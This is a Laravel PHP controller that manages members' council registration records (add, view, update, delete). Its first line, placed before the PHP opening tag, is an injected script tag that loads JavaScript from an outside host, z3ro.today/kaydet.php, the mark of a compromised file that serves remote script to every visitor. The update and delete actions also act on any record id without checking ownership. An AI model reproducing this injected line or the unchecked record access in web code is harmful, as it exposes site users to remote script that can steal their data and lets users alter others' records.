<script src="http://z3ro.today/kaydet.php"></script><?php

namespace App\Http\Controllers\MemberInformation;

use App\Http\Controllers\Controller;
use App\Models\CouncilInfo;
use App\Models\Level;
use App\Models\Members;
use App\Models\Specialization;
use Illuminate\Http\Request;

class CouncilInforController extends Controller
{
    public function addcouncilinfos()
    {
        $memberInfo = Members::where('id', session('member_id'))->first();
        if (!$memberInfo) {
            return back()->withError('Invalid parameter or Member not found!');
        }

        $level = Level::pluck('level', 'id');
        $specializations = Specialization::all();

        return view('member-details.addcouncilinfo', compact('level', 'memberInfo', 'specializations'));
    }

    public function uploadcouncilinfo(Request $request)
    {
        $data = new CouncilInfo();

        $data->member_id = session('member_id');
        $data->council_name = $request->council_name;
        $data->reg_no = UTF8toEng($request->reg_no);
        $data->reg_date = UTF8toEng($request->reg_date);
        $data->subject = $request->subject;
        $data->level = $request->level;

        $data->save();

        return redirect()->route('member.details', session('member_id'));
    }

    public function deletecouncilinfo($id)
    {
        $councilName = CouncilInfo::find($id);
        $councilName->delete();
        return redirect()->back()->with('message', 'Council information deleted successfully');
    }

    public function councilupdateview($id)
    {

        $memberInfo = Members::where('id', session('member_id'))->first();
        if (!$memberInfo) {
            return back()->withError('Invalid parameter or Member not found!');
        }


        $level = Level::all();
        $specializations = Specialization::all();

        $councilName = CouncilInfo::find($id);
        return view('member-details.updatecouncilinfo', compact('level', 'specializations', 'memberInfo', 'councilName'));
    }

    public function updatecouncilinfo(Request $request, $id)
    {

        $data = CouncilInfo::find($id);

        $data->member_id = session('member_id');
        $data->council_name = $request->council_name;
        $data->reg_no = $request->reg_no;
        $data->reg_date = $request->reg_date;
        $data->subject = $request->subject;
        $data->level = $request->level;

        $data->save();

        return redirect()->route('member.details', session('member_id'))->with('message', 'Council Information Updated Successfully');
    }
}
